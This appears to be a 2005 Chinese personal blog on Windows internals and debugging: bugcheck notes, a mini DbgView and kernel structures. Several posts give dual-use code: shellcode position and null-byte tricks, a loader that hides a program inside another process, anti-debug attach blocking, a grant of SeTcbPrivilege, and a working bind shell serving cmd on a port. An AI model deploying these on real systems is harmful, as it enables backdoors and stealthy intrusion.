Coder Jozu

I believe --- 这里坚持原创,拒绝转贴

  VC知识库BLOG :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 登录 ::
  13 随笔 :: 4 文章 :: 85 评论 :: 1 Trackbacks
<2008年10月>
2829301234
567891011
12131415161718
19202122232425
2627282930311
2345678

留言簿(4)

随笔分类

随笔档案

文章分类

文章档案

东接西链

搜索

最新评论

阅读排行榜

评论排行榜

2005年5月20日 #

近来在调试一个跟踪系统内存的驱动,可以参考的书是少之又少,当然Mark Russinovich写的Inside Windows 2000和Inside windows XP/2003是不可或缺的资料,可是在跟踪一个关键问题的时候,发现原来Mark Russinovich也犯下了一个重要错误!他在书上说从windowsXP开始,各个进程的Working set是由一个新的同步对象EX_PUSH_LOCK来同步存取的,我按照他的指示,做了锁定和解锁,发现----居然不工作!!!努力研究了好几天,终于发现,XP到XP1根本就没有采用EX_PUSH_LOCK, 还是用的早先的FAST_MUTEX来保持同步。。。。。。害我跟踪了将近三天啊。

写下来自勉,不能随便相信别人,哪怕他是世界公认的牛人。
发表于 2005-05-20 09:57 Coder Jozu 阅读(3538) | 评论 (6)编辑 收藏

2005年3月23日 #

Bugchecks Explained: PFN_LIST_CORRUPT
OSR Staff | Published: 24-Aug-04| Modified: 24-Aug-04
What Happened?
Windows tracks physical pages of memory using a table called the Page Frame Database. This database (which actually is just a big one-dimensional array) is indexed by physical page number. As a result, the page frame database is typically referred to as the Page Frame Number list or PFN.

Every page of physical memory has an associated PFN entry. Each PFN entry contains information about the state of its corresponding physical page in the system. This state includes information about whether the corresponding physical page is in use, how it’s being used, a count of active users of the page, and a count of pending I/O operations on the page.

Depending on the pages state, a PFN entry may be on one of several lists that the Memory Manager maintains. The listheads for these lists are simple global variables that are used for quick access to PFN entries of certain types. For example, one such list would be the list that contains all the modified pages that need to be written to disk.

Because all the PFN lists and entries are present in the high half of kernel virtual address space, they are subject to corruption through stray pointer accesses (such as by errant drivers or other similar kernel-mode modules). Also, the count in the PFN that tracks the number of I/O related accesses to a given physical page can be corrupted by improper MDL handling.

Whenever Windows detects that any of the PFN lists or any of the PFN entries themselves have become invalid, the system halts with a PFN_LIST_CORRUPT bugcheck.

Who Did It?
This bugcheck usually occurs for one of two reasons, the first reason being memory corruption. If there is a buggy driver in the system that is writing on memory that it does not own, it could easily corrupt one of the PFN lists or entries. In order to rule this out, you should run Driver Verifier with Special Pool enabled for suspect drivers in the system. This will hopefully allow you to catch the misbehaving driver in the act of scribbling memory, instead of receiving a crash sometime later when the O/S discovers the damage.

The second cause for this bugcheck is incorrect MDL handling. For example, one use of MDLs is to allow you to "lock" the physical memory that backs a virtual address range so that the memory stays resident while your driver is accessing it. This is achieved by using the MmProbeAndLockPages DDI. One of the things that this DDI does is take out a reference on the PFN entries of the underlying physical pages, ensuring that the Memory Manager does not page them out. The corresponding DDI to undo this operation, MmUnlockPages, is responsible for decrementing the reference counts taken out in the previous call. If a driver happens to call MmUnlockPages too many times on an MDL, the reference count on the underlying PFN entries could drop to below zero (to 0xFFFFFFFF). The system considers this to be a critical error, as one or more of the PFN entries is obviously invalid. Therefore, this bugcheck will occur.

If your driver or a driver in your stack is being blamed for a PFN_LIST_CORRUPT bugcheck, go over your code and make sure that you are properly handling your MDLs . Remember that even if you do not create or destroy any MDLs directly, you play a part in the creation and destruction of them if you handle IRPs whose buffers are described with DIRECT_IO. Driver Verifier and the checked build of Windows can help pinpoint IRP and MDL handling errors.

How Should I Fix It?
How this is fixed varies depending on the reason of the bugcheck. Using Driver Verifier and the checked build of the O/S should allow you to pinpoint the driver that is either corrupting memory or mishandling MDLs. If the offending driver is not a driver that you have any control over, the only available option is disabling the driver until a fixed version is available.

Related WinDBG Commands
· !memusage
· !pfn
Related O/S Structures
· nt!_MMPFN
· nt!_MMPFNENTRY
· nt!_MMPFNLIST
Related O/S Variables
· nt!MmBadPageListHead
· nt!MmStandbyPageListHead
· nt!MmModifiedNoWritePageListHead
· nt!MmModifiedPageListHead
· nt!MmFreePageListHead
· nt!MmZeroedPageListHead
· nt!MmRomPageListHead

发表于 2005-03-23 15:08 Coder Jozu 阅读(2999) | 评论 (6)编辑 收藏

sysinternals的dbgview想必大家都用过,我写了一个简单的,只监视user层OutputDebugString的输出,原理都包含在代码里了,希望对你有帮助,没有的话就算了:P
// DBMntor.cpp : Little dbgview。。。。
// Coder Jozu
//
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>

#define PAGE_SIZE   4096

#define DBWIN_MAP   "DBWIN_BUFFER"
#define DBWIN_WRITEVENT  "DBWIN_BUFFER_READY"
#define DBWIN_READEVENT  "DBWIN_DATA_READY"

typedef struct _tag_DBMap
{
 DWORD dwProcessId;
 CHAR szString[PAGE_SIZE - sizeof(DWORD)];
} DB_MAP, *PDB_MAP;

int main(int argc, char* argv[])
{
 HANDLE hMap;
 PDB_MAP pDBMap;

 HANDLE hEventRead;
 HANDLE hEventWrite;
 HANDLE hMutex;

 hMutex = CreateMutex(NULL, FALSE, "DBWinMutex");

 hEventRead = CreateEvent(NULL, TRUE, FALSE, DBWIN_READEVENT);
 hEventWrite = CreateEvent(NULL, TRUE, FALSE, DBWIN_WRITEVENT);
 if(!hEventRead || !hEventWrite)
 {
  return 0;
 }

 hMap = CreateFileMapping(INVALID_HANDLE_VALUE,
        NULL,
        PAGE_READONLY,
        0,
        PAGE_SIZE,
        DBWIN_MAP);
 if(!hMap)
  return 0;

 pDBMap = (PDB_MAP)MapViewOfFile(hMap,
        FILE_MAP_READ,
        0,
        0,
        0);
 if(!pDBMap)
 {
  CloseHandle(hMap);
  return 0;
 }

 SetEvent(hEventWrite);
 while(TRUE)
 {
  
  WaitForSingleObject(hEventRead, INFINITE);
  
  printf("%d==>%s\n", pDBMap->dwProcessId, pDBMap->szString);
  
 }

 return 0;
}

发表于 2005-03-23 10:55 Coder Jozu 阅读(5082) | 评论 (19)编辑 收藏

2005年3月10日 #

定位自己:
__asm {
    fldz
    fnstenv byte ptr [esp-0ch]
    pop ebx
}

防止出现0x00的相对偏移跳转:
    push 0FFFFFFEBh
JMPOUT    $-4
    db    NEXT - JMPOUT - 1
    call JMPOUT
    jmp end
NEXT:
    .......
end:
发表于 2005-03-10 16:49 Coder Jozu 阅读(4132) | 评论 (12)编辑 收藏

2005年3月9日 #

// Bits.cpp : Calculate numbers of bits on a long number.
// Coder Jozu

#include "stdafx.h"

int main(int argc, char* argv[])
{
 long x;
 int num;
 char buff[128];

 
 while(1)
 {
  printf("enter a hex value:");
  gets(buff);
  if(buff[0] == 'q' || buff[0] == 'Q')
   break;

  if(!sscanf(buff, "%X", &x))
  {
   printf("Invalid number.\n");
   continue;
  }
  
  __asm
  {
   push esi
   push eax

   mov eax, x
   mov ecx, 32
   xor esi, esi
next:
   shr eax, 1
   jc  AddOne
   dec ecx
   jcxz end
   jmp next
AddOne:
   inc esi
   jmp next
end:
   mov num, esi
   pop eax
   pop esi
  }
  
  printf("number of %X has %d bits.\n", x, num);
 }
 return 0;
}

 

发表于 2005-03-09 11:27 Coder Jozu 阅读(2622) | 评论 (2)编辑 收藏

2005年1月30日 #

hiahia,被这个题目吓住了吧,一个CreateProcess不就可以吗,嘿嘿,可是你会看到两个进程存在,这里要干的是让进程管理器只能看到一个进程。好了,如果你有了Win32进程的基础理论,了解PE格式,再加上熟悉管理进程(当然你要是不知道这些,代码运行以后的效果你都不会看到。。。那我不是白忙了:P)开始:

先来看看代码:

// ExeLoader.cpp : Defines the entry point for the console application.
//
// Coder Jozu

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue))

//////////////////////////////////////////////////////////////////////////

void CopyRight()
{
 _tprintf("ExeLoader --- Load a exe FILE and execute it IN CURRENT CONTEXT.\n");
 _tprintf("                                                     Coder Jozu.\n");
 _tprintf("----------------------------------------------------------------\n");
}

//////////////////////////////////////////////////////////////////////////

void Usage()
{
 _tprintf("Exeloader program\n");
 _tprintf("ExeLoader program\n");
 _tprintf("    Program is what you want to executed.\n");
}

//////////////////////////////////////////////////////////////////////////

HINSTANCE hInst;

typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEA)(LPCSTR lpModuleFilename);
typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEW)(LPCWSTR lpModuleFilename);
LPFNGETMODULEHANDLEA lpfnGetModulehandleA = NULL;
LPFNGETMODULEHANDLEW lpfnGetModulehandleW = NULL;

static
HMODULE
WINAPI
HandlerGetModuleHandleA(LPCSTR lpModuleFileName)
{
 if(!lpModuleFileName)
  return hInst;
 return lpfnGetModulehandleA(lpModuleFileName);
}

static
HMODULE
WINAPI
HandlerGetModuleHandleW(LPCWSTR lpModuleFileName)
{
 if(!lpModuleFileName)
  return hInst;
 
 return lpfnGetModulehandleW(lpModuleFileName);
}

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

DWORD
WINAPI
GetFunctionAddrWithIndex(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
 //
 // I am tired of do this bitch, so just do it directly
 // Don't say it is a bug. en....
 //
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
  return (DWORD)HandlerGetModuleHandleA;
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
  return (DWORD)HandlerGetModuleHandleW;

 return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Hint);
}

//////////////////////////////////////////////////////////////////////////

DWORD
WINAPI
GetFunctionAddrWithName(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
  return (DWORD)HandlerGetModuleHandleA;
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
  return (DWORD)HandlerGetModuleHandleW;
 
 return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Name);
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
WalkWithImportTable(PVOID hInst)
{
#define THUNK_INDEXMASK 0x80000000

 PIMAGE_DOS_HEADER  pidh;
 PIMAGE_NT_HEADERS  pinhs;
 PIMAGE_SECTION_HEADER pish;
 PIMAGE_IMPORT_DESCRIPTOR piid;
 BOOL bDone = FALSE;
 HMODULE  hModule;
 LPCSTR  lpDllName;
 PIMAGE_THUNK_DATA pitd;
 PIMAGE_THUNK_DATA pFirstThunk;
 PIMAGE_IMPORT_BY_NAME piibn;
 DWORD  dwFuncAddr;
 SYSTEM_INFO si;
 MEMORY_BASIC_INFORMATION mbi;

 pidh = (PIMAGE_DOS_HEADER)hInst;
 pinhs = MakePtr(PIMAGE_NT_HEADERS, pidh, pidh->e_lfanew);
 pish = MakePtr(PIMAGE_SECTION_HEADER, pinhs, sizeof(*pinhs));

 piid = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, pidh,
  pinhs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

 if(piid->TimeDateStamp == 0)
 {
  _tprintf("sorry about it.... You try to execute a exe with no bind import table. I will process later\n");
  return FALSE;
 }

 if((DWORD)piid == (DWORD)pidh)
 {
  _tprintf("ft.... You try to execute a exe with no import table?");
  return FALSE;
 }

 while(piid->Name != (DWORD)0)
 {
  lpDllName = MakePtr(LPCSTR, pidh, piid->Name);
  
  _tprintf("Processes dll: %s.\n", lpDllName);
  //
  // Check this dll is loaded, if not, just load it!
  //
  if((hModule = GetModuleHandle(lpDllName)) == NULL)
   hModule = LoadLibrary(lpDllName);

  //
  // Walk with the functions, if the functions not been bind,
  // we can use FirstThunk or OriginalFirstThunk, else
  // we use OriginalFirstThunk
  //
  pitd = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->OriginalFirstThunk);
  pFirstThunk = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->FirstThunk);
  //
  // Make virtual memory could be write
  //
  GetSystemInfo(&si);
  VirtualQuery(pFirstThunk, &mbi, sizeof(mbi));
  if( (mbi.Protect & PAGE_READWRITE) != PAGE_READWRITE)
  {
   if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, PAGE_READWRITE, &mbi.Protect))
    return FALSE;
  }
  while(*(DWORD*)pitd)
  {
   if((*(DWORD*)pitd & THUNK_INDEXMASK) == THUNK_INDEXMASK)
   {
    piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, (*(DWORD*)pitd & ~THUNK_INDEXMASK));
    dwFuncAddr = GetFunctionAddrWithIndex(hModule, piibn);
   }
   else
   {
    piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, *(DWORD*)pitd);
    dwFuncAddr = GetFunctionAddrWithName(hModule, piibn);
   }
   if(!dwFuncAddr)
   {
    _tprintf("Function address return NULL. abort...\n");
    return FALSE;
   }
   //
   // Patch to import table.
   //
   pFirstThunk->u1.AddressOfData = dwFuncAddr;

   pFirstThunk++;
   pitd++;
  }

  if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, mbi.Protect, &mbi.Protect))
    return FALSE;

  piid++;
 }

 return TRUE;
}

//////////////////////////////////////////////////////////////////////////

int _tmain(int argc, LPCTSTR argv[])
{
 BOOL bDone = FALSE;
 DWORD dwOffset;
 PIMAGE_DOS_HEADER  pidh;
 PIMAGE_NT_HEADERS  pinhs;
 LPSTR lpCmdLine;
 LPWSTR lpwCmdLine;
 WCHAR lpwArgv1[MAX_PATH];

 CopyRight();

 if(argc != 2)
 {
  Usage();
  return 1;
 }

/*
#ifdef _DEBUG
 LoadLibrary("User32.dll");
 WalkWithImportTable(GetModuleHandle("user32.dll"));
#endif
*/
 
 //
 // We should handle GetModuelhandle() function
 //
 lpfnGetModulehandleA = (LPFNGETMODULEHANDLEA)
  GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleA");
 lpfnGetModulehandleW = (LPFNGETMODULEHANDLEW)
  GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleW");

 __try
 {
  //
  // Validate this file is a executable PE file
  //
  GetFileAttributes(argv[1]);
  if(GetLastError() != ERROR_SUCCESS)
  {
   _tprintf("%s File not found!\n", argv[1]);
   __leave;
  }
  
  //
  // Load file with DONT_RESOLVE_DLL_REFERENCES will not redirect import table,
  // so we will do it manual
  //
  hInst = LoadLibraryEx(argv[1], NULL, DONT_RESOLVE_DLL_REFERENCES);

  pidh = MakePtr(PIMAGE_DOS_HEADER, hInst, 0);
  if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
  {
   _tprintf("Invalidate file format.\n");
   __leave;
  }
  pinhs = MakePtr(PIMAGE_NT_HEADERS, hInst, pidh->e_lfanew);
  if(pinhs->Signature != IMAGE_NT_SIGNATURE)
  {
   _tprintf("Invalidate file format.\n");
   __leave;
  }
  
  dwOffset = pinhs->OptionalHeader.AddressOfEntryPoint + (DWORD)hInst;

  //
  // Redirect import table of PE file.
  //
  if(!WalkWithImportTable(hInst))
  {
   _tprintf("Redirect file import table failed. abort...\n");
   __leave;
  }

  //
  // We will patch the command line, There is no error handler,
  // if it is failed, I could say nothing....
  //
  lpCmdLine = GetCommandLine();
  strcpy(lpCmdLine, argv[1]);

  lpwCmdLine = GetCommandLineW(); 
  MultiByteToWideChar(CP_ACP, 0, argv[1], -1, lpwArgv1, MAX_PATH);
  wcscpy(lpwCmdLine, lpwArgv1);

  __try
  {
   //
   // Goto call entrypoint.
   //
   ((FARPROC)(dwOffset))();
   //
   // If the exe call exitprocess() directly, We will never goto next.
   // so if you want to do some post-processes, please hook this functions.
   //
  }
  __finally {}

  bDone = TRUE;

 }
 __finally {}

 getchar();

 return 0;
}

基本思路是这样的:

首先装载exe文件,然后自己为它进行导出函数的重定向,把控制转移到exe文件的入口点,代码中有一些会有问题,我都作了注释,希望你看得时候注意。

其中未邦定的API定位部分我没有时间实现了,不过如果你有兴趣可以自己加。have fun。

发表于 2005-01-30 03:20 Coder Jozu 阅读(4734) | 评论 (10)编辑 收藏

2005年1月26日 #

BOOL NotAllowAttach(HWND hWnd)
{
?typedef BOOL (WINAPI* LPFNREGISTERTASKLIST)(HWND hwnd);
?HMODULE?hUserDll;
?LPFNREGISTERTASKLIST?lpRegisterTasklist;

?hUserDll = LoadLibrary("User32.dll");
?if(hUserDll)
?{
??lpRegisterTasklist = (LPFNREGISTERTASKLIST)
?????GetProcAddress(hUserDll, "RegisterTasklist");
??if(lpRegisterTasklist)
??{
???if(lpRegisterTasklist(hWnd))
????return TRUE;
??}
?}
?ErrorHandle("Error on NotAllowAttach.");
?return FALSE;
}

发表于 2005-01-26 23:11 Coder Jozu 阅读(4931) | 评论 (6)编辑 收藏

2005年1月20日 #

CSRSS线程数据结构

typedef struct tagTHREADINFO {
    W32THREAD;

//***************************************** begin: USER specific fields

    PTL             ptl;                // Listhead for thread lock list

    PPROCESSINFO    ppi;                // process info struct for this thread

    PQ              pq;                 // keyboard and mouse input queue

    PKL             spklActive;         // active keyboard layout for this thread

    PCLIENTTHREADINFO pcti;             // Info that must be visible from client

    PDESKTOP        rpdesk;
    PDESKTOPINFO    pDeskInfo;          // Desktop info visible to client
    PCLIENTINFO     pClientInfo;        // Client info stored in TEB

    DWORD           TIF_flags;          // TIF_ flags go here.

    PUNICODE_STRING pstrAppName;        // Application module name.

    PSMS            psmsSent;           // Most recent SMS this thread has sent
    PSMS            psmsCurrent;        // Received SMS this thread is currently processing
    PSMS            psmsReceiveList;    // SMSs to be processed

    LONG            timeLast;           // Time, position, and ID of last message
    ULONG_PTR        idLast;

    int             cQuit;
    int             exitCode;

    HDESK           hdesk;              // Desktop handle
    int             cPaintsReady;
    UINT            cTimersReady;

    PMENUSTATE      pMenuState;

    union {
        PTDB            ptdb;           // Win16Task Schedule data for WOW thread
        PWINDOWSTATION  pwinsta;        // Window station for SYSTEM thread
    };

    PSVR_INSTANCE_INFO psiiList;        // thread DDEML instance list
    DWORD           dwExpWinVer;
    DWORD           dwCompatFlags;      // The Win 3.1 Compat flags
    DWORD           dwCompatFlags2;     // new DWORD to extend compat flags for NT5+ features

    PQ              pqAttach;           // calculation variabled used in
                                        // zzzAttachThreadInput()

    PTHREADINFO     ptiSibling;         // pointer to sibling thread info

    PMOVESIZEDATA   pmsd;

    DWORD           fsHooks;                // WHF_ Flags for which hooks are installed
    PHOOK           sphkCurrent;            // Hook this thread is currently processing

    PSBTRACK        pSBTrack;

    HANDLE          hEventQueueClient;
    PKEVENT         pEventQueueServer;
    LIST_ENTRY      PtiLink;            // Link to other threads on desktop
    int             iCursorLevel;       // keep track of each thread's level
    POINT           ptLast;

    PWND            spwndDefaultIme;    // Default IME Window for this thread
    PIMC            spDefaultImc;       // Default input context for this thread
    HKL             hklPrev;            // Previous active keyboard layout
    int             cEnterCount;
    MLIST           mlPost;             // posted message list.
    USHORT          fsChangeBitsRemoved;// Bits removed during PeekMessage
    WCHAR           wchInjected;        // character from last VK_PACKET
    DWORD           fsReserveKeys;      // Keys that must be sent to the active
                                        // active console window.
    PKEVENT        *apEvent;            // Wait array for xxxPollAndWaitForSingleObject
    ACCESS_MASK     amdesk;             // Granted desktop access
    UINT            cWindows;           // Number of windows owned by this thread
    UINT            cVisWindows;        // Number of visible windows on this thread

    PHOOK           aphkStart[CWINHOOKS];   // Hooks registered for this thread
    CLIENTTHREADINFO  cti;              // Use this when no desktop is available
} THREADINFO;

   TIF_flags---以后研究

发表于 2005-01-20 05:45 Coder Jozu 阅读(4178) | 评论 (8)编辑 收藏

2005年1月17日 #

// 前一段时间一个朋友让我帮忙写一个的程序演示CreateProcessAsUser的用法,我写完以后运行,
// 发现2K/XP/2003系统下居然默认把Administrator的SeTcbPrivilege权限去掉了, 而且SDK提供的API没有添加这个权限的功能,
// shit, 最后只好把功能写到了一个服务里. 颇为不爽

// 今天有了时间,整理了思路,准备绕一个弯子,把Administrator的SeTcbPribilege权限打开。
// 当然这样的系统含有一定的安全隐患,但是真的被人利用了其他未公开的Bugs,这个隐患又算得了什么呢。。。
//
// 代码很简单,有兴趣可以看看。运行这个程序你必须有管理员权限,如果要起作用需要重新登陆一次,唉,Windows。。。。
// 废话少说,goto code
//
// Coder Jozu
////////////////////////////////////////////////////////////////////
//
#ifndef UNICODE
#define UNICODE
#endif

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Ntsecapi.h>

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#endif

#ifdef _DEBUG
#define JASSERT(x) printf x
#else
#define JASSERT(x)
#endif

#define RET_OK 1
#define RET_ERR 2
#define RET_UKN 0

#define MAX_NAME_LEN 200
//////////////////////////////////////////////////////////////////////////

void
InitUnicodeString( OUT PLSA_UNICODE_STRING LsaUnicodeString, IN LPWSTR pwszString)
{
 memset(LsaUnicodeString, 0, sizeof(LsaUnicodeString));

 LsaUnicodeString->Length = wcslen(pwszString) * sizeof(WCHAR);
 LsaUnicodeString->MaximumLength = LsaUnicodeString->Length + sizeof(UNICODE_NULL);
 LsaUnicodeString->Buffer = pwszString;
}

//////////////////////////////////////////////////////////////////////////

LSA_HANDLE
WINAPI
OpenPolicy(DWORD DesiredAccess, LPWSTR ServerName)
{
 LSA_HANDLE    PolicyHandle = NULL;
 LSA_OBJECT_ATTRIBUTES ObjectAttributes;
 LSA_UNICODE_STRING  ServerNameString;
 NTSTATUS    Status;

 memset(&ObjectAttributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES));

 InitUnicodeString(&ServerNameString, ServerName);

 Status = LsaOpenPolicy( &ServerNameString,
       &ObjectAttributes,
       DesiredAccess,
       &PolicyHandle);
 if(Status != STATUS_SUCCESS)
 {
  JASSERT(("OpenPolicy->LsaOpenPolicy error %X\n", Status));
 }
 return PolicyHandle;
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
GetAccountSid(LPTSTR AccountName,
     PSID *Sid)
{
 PSID pSID = NULL;
 DWORD cbSid = 0;
 LPTSTR DomainName = NULL;
 DWORD cbDomainName = 0;
 SID_NAME_USE SIDNameUse;
 BOOL  bDone = FALSE;

 __try
 {
  if(!LookupAccountName(NULL,  // we only concertrate local machine.
   AccountName,
   pSID,
   &cbSid,
   DomainName,
   &cbDomainName,
   &SIDNameUse))
  {
   pSID = (PSID)malloc(cbSid);
   DomainName = (LPTSTR)malloc(cbDomainName * sizeof(TCHAR));
   if(!pSID || !DomainName)
   {
    JASSERT(("Not enough memory! failed...\n"));
    __leave;
   }
   if(!LookupAccountName(NULL,
    AccountName,
    pSID,
    &cbSid,
    DomainName,
    &cbDomainName,
    &SIDNameUse))
   {
    JASSERT(("Not enough memory! failed...\n"));
    __leave;
   }
   bDone = TRUE;
  }
 }
 __finally
 {
  if(DomainName)
   free(DomainName);
  if(!bDone && pSID)
   free(pSID);
 }
 if(bDone)
  *Sid = pSID;

 return bDone;
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
AdjustUserPolicy(LSA_HANDLE PolicyHandle,
     PSID  pAccountSid,
     LPWSTR lpwSePrivilege,
     BOOL  fRemove)
{
 LSA_UNICODE_STRING SePrivilegeString;
 NTSTATUS   Status;

 InitUnicodeString(&SePrivilegeString, lpwSePrivilege);

 if(fRemove)
 {
  Status = LsaRemoveAccountRights(PolicyHandle,
        pAccountSid,
        FALSE,
        &SePrivilegeString,
        1);
 }
 else
 {
  Status = LsaAddAccountRights(PolicyHandle,
        pAccountSid,
        &SePrivilegeString,
        1);
 }
 return (Status == STATUS_SUCCESS);
}

//////////////////////////////////////////////////////////////////////////

int main(int argc, char** argv)
{
 LSA_HANDLE PolicyHandle = NULL;
 PSID  pSid = NULL;
 DWORD  cbAccountName = MAX_NAME_LEN;
 TCHAR  AccountName[MAX_NAME_LEN];
 TCHAR  wComputerName[] = L"";
 int   nRet = RET_ERR;

 __try
 {
  if(!GetUserName(AccountName, &cbAccountName))
  {
   printf("ft..... How long are your name?\n");
   __leave;
  }

  PolicyHandle = OpenPolicy(POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES, wComputerName);
  if(!PolicyHandle)
  {
   printf("OpenPolicy return NULL\n");
   __leave;
  }

  if(!GetAccountSid(AccountName, &pSid))
  {
   printf("GetAccountSid return false\n");
   __leave;
  }
  
  if(!AdjustUserPolicy(PolicyHandle, pSid, SE_TCB_NAME, FALSE))
  {
   printf("AdjustUserPolicy return false\n");
   __leave;
  }
 
  nRet = RET_OK;
 }
 __finally
 {
  if(pSid)
   free(pSid);
  if(PolicyHandle)
   LsaClose(PolicyHandle);
 }
 
 return nRet;
}

发表于 2005-01-17 14:05 Coder Jozu 阅读(4181) | 评论 (4)编辑 收藏

2005年1月3日 #

// Redirect command console

// Coder Jozu

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <WINSOCK2.H>

#pragma comment(lib, "ws2_32")

int main(int argc, char* argv[])
{
 SOCKET s;
 SOCKET s1;
 SOCKADDR_IN sin;
 WSADATA wsa;
 STARTUPINFO si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 char szCmd[] = "cmd";

 WSAStartup(MAKEWORD(1, 1), &wsa);

 s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
 if(s == INVALID_SOCKET)
 {
  printf("Error on WSASocket %d, abort...", WSAGetLastError());
  return 1;
 }
 sin.sin_family = AF_INET;
 sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.88");
 sin.sin_port = htons(1234);

 if(bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
 {
  printf("Error on connect %d, abort...", WSAGetLastError());
  return 1;
 }

 listen(s, 5);

 s1 = accept(s, NULL, NULL);
 
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s1;

 CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

 WaitForSingleObject(pi.hProcess, INFINITE);
 
 return 0;
}

发表于 2005-01-03 06:10 Coder Jozu 阅读(5810) | 评论 (4)编辑 收藏